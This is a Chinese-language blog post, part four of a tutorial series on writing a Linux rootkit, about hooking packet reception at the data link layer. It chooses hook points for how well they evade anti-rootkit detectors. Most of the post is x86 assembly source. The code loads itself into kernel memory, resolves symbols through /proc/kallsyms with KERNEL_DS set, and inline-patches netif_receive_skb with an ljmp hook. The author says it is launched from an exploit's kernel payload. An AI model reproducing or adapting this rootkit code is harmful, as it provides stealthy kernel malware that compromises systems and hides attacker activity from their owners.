rookit for linux 4. hook数据链路层

上一篇文章讲了在哪里hook比较合适。

 

有的人说“linux的网络栈是如此的大啊，我怎么可能了解到全部？还是弄点简单的来做吧”

有的人现在心情澎湃，想着吗的老子要马上hook爆你丫的。

 

如果你是前者，那就别看这篇文章了，这篇文章里没有你想要的，你还是回去背你的操作系统课本和汇编课本吧。

如果你是后者，那请继续。

 

有些事情就是要迎难而上。你拼了老命，连啃三天泡面饼干，把代码好好地看一下。你看它还难不难。

 

windows内核里的hook分为很多种。object hook，idt hook。。有一些hook是和linux类似的。

在linux里，首先idt hook是绝对不能用的。sys_call_table，ex_table你也别想着去搞它。因为“ring3下很蹩脚的rootkit检测程序”都能检测到这几种hook。这几种hook是很没意思的，所以就不介绍他们了。

 

至于inline hook。这是一种很黄很暴力的hook。在网上也有不少教程。它的原理就是在插入ljmp，jmp，call指令。前两种用得比较多。计算机组成原理的老师会告诉你什么是三地址码，什么是二地址码。但不会告诉你什么是inline hook。因为这些东西都是坏学生学的。好学生是万万不能学的。

 

inline hook的优点巨大，想hook哪就hook哪。由于使用jmp，环境不会改变（千万别用kprobes）。但是缺点也很巨大，容易被侦测。因为linux的特殊性，有了个proc文件系统，跟内核沟通方便了，领导居然都能深入基层了，通过/proc/kcore都可以直接访问内核在内存中的镜像。所以ring3下就能对比内核在文件中的镜像和内存中的镜像，检测到inline hook，网上就有此类anti-rootkit软件。

所以inline hook要限制使用。最好的方法是暂时性的inline hook。就hook一下下，达到功能了马上恢复。这样就不怕别人侦测到了。但不是什么环境下都能这样用的。

 

看了netif_receive_skb代码后。我觉得有三个方案。

1.在ptypes_all的第一个元素的func函数上hook

2.inline hook netif_receive_skb

3.注册到ptype_base

 

方案1比较难被发现。目前的检测hook的软件还没有检查到那里。

方案2比较暴力。达到跟方案1一样的效果。

方案3已经经过嗅探器的hook了。你只能祈祷嗅探器没有看到你的包。

其实三个方案都不完美，我也想不出完美的方案，如果您有什么好的idea，希望您告诉我，谢谢！

 

 

ptypes_all没有出现在kallsyms里。我们要自己找。我们首先找到dev_add_pack函数，这厮是负责把packet_type挂到types_all里的。

 

1.    0:   push   %esi
2.    1:   push   %ebx
3.    2:   mov    %eax,%esi
4.    4:   call   0xffef3b38
5.    9:   mov    (%esi),%eax
6.    b:   cmp    $0x300,%ax
7.    f:   lea    0x18(%esi),%ebx
8.   12:   jne    0x34
9.   14:   incl   0xc037dbe0
10.   1a:   mov    0xc037d3c0,%eax
11.   1f:   mov    %eax,0x18(%esi)
12.   22:   movl   $0xc037d3c0,0x4(%ebx)
13.   29:   mov    %ebx,0x4(%eax)
14.   2c:   mov    %ebx,0xc037d3c0
15.   32:   jmp    0x55
16.   34:   shr    $0x5,%eax
17.   37:   and    $0x78,%eax
18.   3a:   lea    -0x3fc82cc0(%eax),%ecx
19.   40:   mov    -0x3fc82cc0(%eax),%edx
20.   46:   mov    %edx,0x18(%esi)
21.   49:   mov    %ecx,0x4(%ebx)
22.   4c:   mov    %ebx,0x4(%edx)
23.   4f:   mov    %ebx,-0x3fc82cc0(%eax)
24.   55:   pop    %ebx
25.   56:   pop    %esi
26.   57:   jmp    0xffef3daf

1. void dev_add_pack(struct packet_type *pt)
2. {
3.     int hash;
5.     spin_lock_bh(&ptype_lock);
6.     if (pt->type == htons(ETH_P_ALL)) {
7.         netdev_nit++;
8.         list_add_rcu(&pt->list, &ptype_all);
9.     } else {
10.         hash = ntohs(pt->type) & 15;
11.         list_add_rcu(&pt->list, &ptype_base[hash]);
12.     }
13.     spin_unlock_bh(&ptype_lock);
14. }

就在incl的下面，就能看到ptypes_all的地址了。你要想办法动态获取。如果有反汇编引擎，那就好办了。直接搜incl，然后遇到的第一个直接寻址指令的地址就是了。但现在没有反汇编引擎，就只能用偏移来决定了。

 

获得了，ptypes_all以后，就能找到ptypes_all的第一个元素的func函数了，然后hook就是了（这部分目前还没有实现）。

如果很不好彩ptypes_all是空的。那就用inline hook。

代码如下。

 

2. #define EXPORT_LABEL(label) /
3.     .globl label; label:
5. #define GET_ADDR(label, reg) /
6.     call 9f;    /
7.     9: popl reg;    /
8.     subl $(9b - label), reg
10. #define GET_STR(str, reg)   /
11.     call 11f;   /
12.     .asciz str; /
13.     11: popl reg
15. # __DPRINT resvered %eax, %edx !!!!!!!!!
16. #define __DPRINT(fmt)   /
17.     GET_STR("printk", %eax);    /
18.     movl $6, %edx;  /
19.     call ksym_lookup;   /
20.     testl %eax, %eax;   /
21.     jz 111f;    /
22.     GET_STR(fmt, %edx); /
23.     movl %edx, (%esp);  /
24.     call *%eax; /
25. 111:
27. EXPORT_LABEL(loader_start)
28.     pushl %eax
29.     pushl %ebx
30.     pushl %ecx
31.     pushl %edx
32.     pushl %edi
33.     pushl %esi
34.     subl $10, %esp
36.     __DPRINT("<3>fuck, we are in kernel/n");
38.     GET_STR("dev_add_pack", %eax)
39.     movl $12, %edx
40.     call ksym_lookup
41.     jz loader_out
43.     movl 0x1b(%eax), %ebx
44.     movl %ebx, 4(%esp)
45.     __DPRINT("<3>ptype_all at %lx/n");
46.     # find the addr of ptype_all in dev_add_pack's code
48.     cmpl (%ebx), %ebx
49.     jz install_ih
50.     # _if ptype_all is empty, install inline hook at netif_receive_skb
51.     # _if ptype_all isn't empty, hook ptype_all->next->func
53. install_ph:
54.     movl (%ebx), %ebx
55.     movl %ebx, 4(%esp)
56.     __DPRINT("<3>ptype_all's 1st element at %lx, ready to install ptype_all hook/n");
57.     
58.     jmp loader_out
60. install_ih: 
61.     __DPRINT("<3>ptype_all is empty, ready to install inline hook/n");
63.     GET_STR("netif_receive_skb", %eax)
64.     movl $17, %edx
65.     call ksym_lookup
66.     jz loader_out
67.     movl %eax, %edi
68.     
69.     movl %eax, 4(%esp)
70.     __DPRINT("<3>netif_receive_skb at %lx/n");
72.     movw $0x1d8b, 4(%esp)
73.     movl %ebx, 6(%esp)
74.     # esp[4 ~ 10] = asm ("movl %0xxxxx, %edx") ;
75.     movl %edi, %eax
76.     movl $0x200, %edx
77.     leal 4(%esp), %ecx
78.     movl $6, (%esp)
79.     call memmem
80.     testl %eax, %eax
81.     jz loader_out
82.     # ih_addr = memmem(netif_receive_skb, 200, asm ("movl %0xxxx, %edx"), 6);
83.     movl %eax, %ebx
85.     GET_ADDR(ih_nrs_retbuf, %eax)
86.     movl %eax, 8(%esp)
87.     movl %ebx, 4(%esp)
88.     __DPRINT("<3>inline hook addr found at %lx/n<3>the addr of ih_nrs_retbuf is %lx")
90.     # the byte of asm ("ljmp $0x60, $0x12345678") is
91.     # ea 78 56 34 12 60 00
92.     # now we will fill the ih_nrs_retbuf, and cover the code at ih_addr
94.     movl %ebx, %esi
95.     GET_ADDR(ih_nrs_retbuf, %edi)
96.     movl $9, %ecx
97.     cld; rep movsb
99.     movb $0xea, (%edi)
100.     leal 9(%ebx), %eax
101.     movl %eax, 1(%edi)
102.     movw $0x0060, 5(%edi)
104.     movl %ebx, %edi
105.     movb $0xea, (%edi)
106.     GET_ADDR(ih_netif_receive_skb, %eax)
107.     movl %eax, 1(%edi)
108.     movl $0x90900060, 5(%edi)
110. loader_out:
111.     addl $10, %esp
112.     popl %esi
113.     popl %edi
114.     popl %edx
115.     popl %ecx
116.     popl %ebx
117.     popl %eax
118.     ret
120. # inline hook of netif_receive_skb
121. ih_netif_receive_skb:
122.     pushl %eax
123.     pushl %edx
125.     __DPRINT("<3>netif_receive_skb called/n")
127.     popl %edx
128.     popl %eax
129. ih_nrs_retbuf:
130.     .fill 20
132. # fastcall void *memmem(void *dst, int dstlen, void *src, int srclen)
133. # find matched bytes
134. # @dst: place to find
135. # @dstlen: max bytes to find
136. # @src: bytes to match
137. # @srclen: length of the match bytes
138. # return: if found, return the addr, else return 0
139. EXPORT_LABEL(memmem)
140.     pushl %ebx
141.     pushl %esi
142.     pushl %edi
143.     movl 0x10(%esp), %edi
144.     movl %ecx, %esi
145. 4:  movb (%eax), %bl
146.     movb (%ecx), %bh
147.     cmpb %bl, %bh
148.     jnz 1f
149.     incl %ecx
150.     decl %edi
151.     jnz 2f
152.     subl 0x10(%esp), %eax
153.     incl %eax
154.     jmp 3f
155. 1:  movl 0x10(%esp), %edi
156.     movl %esi, %ecx
157. 2:  decl %edx
158.     jz 5f
159.     incl %eax
160.     jmp 4b
161. 5:  xorl %eax, %eax
162. 3:  popl %edi
163.     popl %esi
164.     popl %ebx
165.     ret
167. # fastcall unsigned long ksym_lookup(char *name, int len)
168. # @name: name of the function to find
169. # @len: len of the name
170. # return: addr of the function
171. EXPORT_LABEL(ksym_lookup)
173. #define FD 0
174. #define BUF 4
175. #define SAVEDS 1020
176. #define FNLEN 1024
177. #define FN 1028
178. #define SSZ 1032
180.     pushl %ebp
181.     pushl %esi
182.     pushl %edi
183.     pushl %ecx
184.     pushl %ebx
185.     subl $SSZ, %esp
186.     movl %eax, FN(%esp)
187.     movl %edx, FNLEN(%esp)
189.     # set KERNEL_DS
190.     movl %esp, %eax
191.     andl $0xffffe000, %eax
192.     movl 0x18(%eax), %ebx
193.     movl %ebx, SAVEDS(%esp)
194.     movl $0xffffffff, 0x18(%eax)
196.     # open("/proc/kallsyms", O_RDONLY, 0);
197.     movl $5, %eax
198.     GET_STR("/proc/kallsyms", %ebx)
199.     xorl %ecx, %ecx
200.     xorl %edx, %edx
201.     int $0x80
203.     testl %eax, %eax
204.     js ksym_out
206.     movl %eax, FD(%esp)
207.     leal BUF(%esp), %ecx
209. getch_repeat:
210.     # read(fd, ecx, 1);
211.     movl $3, %eax
212.     movl FD(%esp), %ebx
213.     movl $1, %edx
214.     int $0x80
216.     cmpl $1, %eax
217.     jnz ksym_out_close
219.     cmpb $'/n', (%ecx)
220.     jz newline
222.     incl %ecx
223.     jmp getch_repeat
225.     # when a '/n' is read, start parse a new line
226. newline:
228.     # skip ' ' in output line 'c01xxxx T funcname'
229.     leal BUF(%esp), %esi
230.     movl $2, %ebp
231. 1:
232.     cmpb $' ', (%esi)
233.     jnz 2f
234.     decl %ebp
235.     jz 3f
236. 2:
237.     incl %esi
238.     cmpl %ecx, %esi
239.     jl 1b
240.     jmp newline_out
241. 3:
243.     # cmp str between function name in output line and 'kallsyms_lookup_name'
244.     incl %esi
245.     movl FN(%esp), %edi
246.     movl %ecx, %eax
247.     subl %esi, %eax
248.     movl FNLEN(%esp), %ecx
249.     cmpl %eax, %ecx
250.     jae 1f
251.     movl %eax, %ecx
252.     1:
253.     incl %ecx
254.     cld
255.     repz cmpsb
257.     testl %ecx, %ecx
258.     jnz newline_out
260.     # convert the address from str to ulong. saved in eax
261.     leal BUF(%esp), %esi
262.     xorl %eax, %eax
263. 1:
264.     movb (%esi), %bl
265.     cmpb $' ', %bl
266.     jz 4f
267.     cmpb $'a', %bl
268.     jl 2f
269.     subb $('a' - 10), %bl
270.     jmp 3f
271. 2:
272.     subb $'0', %bl
273. 3:
274.     andb $0x0F, %bl
275.     shl $4, %eax
276.     movb %al, %cl
277.     andb $0xF0, %cl
278.     orb %bl, %cl
279.     movb %cl, %al
280.     incl %esi
281.     jmp 1b
282. 4:
284.     # successfully convert address !!
285.     jmp ksym_out_close
287. newline_out:
288.     leal BUF(%esp), %ecx
289.     jmp getch_repeat
291. ksym_out_close:
292.     pushl %eax
293.     movl $6, %eax
294.     movl FD(%esp), %ebx
295.     int $0x80
296.     popl %eax
298. ksym_out:
299.     movl %esp, %ebx
300.     andl $0xffffe000, %ebx
301.     movl SAVEDS(%esp), %ecx
302.     movl %ecx, 0x18(%ebx)
304.     addl $SSZ, %esp
305.     popl %ebx
306.     popl %ecx
307.     popl %edi
308.     popl %esi
309.     popl %ebp
310.     ret
312. #undef FD
313. #undef BUF
314. #undef SAVEDS
315. #undef FNLEN
316. #undef FN
317. #undef SSZ
319. EXPORT_LABEL(loader_end)
322. EXPORT_LABEL(boot_start)
323.     subl $10, %esp
325.     GET_STR("__kmalloc", %eax)
326.     movl $9, %edx
327.     call ksym_lookup
328.     testl %eax, %eax
329.     jz boot_out
330.     # ksym_lookup("__kmalloc", 9);
332.     movl %eax, %ecx
333.     movl $(loader_end - loader_start), %eax
334.     movl $(0x10 | 0x40 | 0x80), %edx
335.     call *%ecx
336.     testl %eax, %eax
337.     jz boot_out
338.     # kmalloc(loader_size, GFP_KENREL);
340.     movl %eax, %edi
342.     GET_STR("printk", %eax)
343.     movl $6, %edx
344.     call ksym_lookup
345.     testl %eax, %eax
346.     jz boot_out
348.     GET_STR("<3>loader at %lx/n", %ebx)
349.     movl %ebx, (%esp)
350.     movl %edi, 4(%esp)
351.     call *%eax
353.     movl %edi, %ebp
354.     GET_ADDR(loader_start, %esi)
355.     movl $(loader_end - loader_start), %ecx
356.     cld; rep movsb
358.     call *%ebp
360. boot_out:
361.     addl $10, %esp
362.     ret
364. EXPORT_LABEL(boot_end)

 

 

定义了几个宏。是经常用到的。

GET_ADDR用于获取一个label的绝对地址，GET_STR用于把给定字符串的首地址赋值给指定的寄存器。

fastcall就是分别用eax, edx, ecx传第1，2，3个参数，后续的用栈。

现在我们的漏洞利用程序里，kernel_code直接跳转到boot_start。

boot目前的作用是把loader部分放在新申请的内核的内存空间里，然后运行。

loader目前的作用就是hook ptypes_all。

以后就按这个框架来写了，这种代码用的是最低级的bin格式。但这种格式很好啊，易于控制。以后可能会用c。